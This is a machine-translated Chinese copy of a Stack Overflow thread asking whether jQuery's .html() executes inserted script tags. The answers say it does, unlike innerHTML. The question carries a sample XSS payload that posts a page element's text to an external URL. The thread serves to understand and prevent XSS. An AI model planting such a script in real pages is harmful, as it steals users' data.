2012-08-17 98 views
1

可能重复:
html() vs innerHTML jquery/javascript & XSS attacks是jQuery.html()危险吗?

是jQuery.html()危险吗?

$("#id").html("<span>"+ variable + "</span>"); 

就像上面的例子中,如果变量将具有以下值:

"<script> $.post("external_url.php", {sesitivedata= $("#someElement").text()}, function() {}) </script>" 

请问脚本来执行?如果有,有什么办法让变量包含正常的html标签,但不包含脚本?

编辑:添加脚本标记字符串

+2

你试过了吗?发生了什么? – epascarello 2012-08-17 16:51:24

+1

'$ .html()'不执行'eval'。 'eval'是触发脚本执行所必需的。 – Ohgodwhy 2012-08-17 16:51:54

+1

@Ohgodwhy你是错的。这很容易测试。打开你的开发者控制台并执行'$('body div:last')。html($(“”));' – meagar 2012-08-17 17:01:50

回答

3

是,该脚本将被执行。

http://jsfiddle.net/9ybUJ/2/

.html()隐含俯瞰任何脚本元素和evals他们。这与.innerHTML相反,它永远不会执行html内部的脚本。

+0

好吧,但是如何防止脚本执行?你的意思是.innerHTML的实际DOM属性?所以$(元素).attr(“innerHTML”,变量)? – Hoffmann 2012-08-17 17:28:31

+0

@霍夫曼我的意思是财产。 '$(element).prop(“innerHTML”,html)''或'element.innerHTML = html' – Esailija 2012-08-17 18:03:11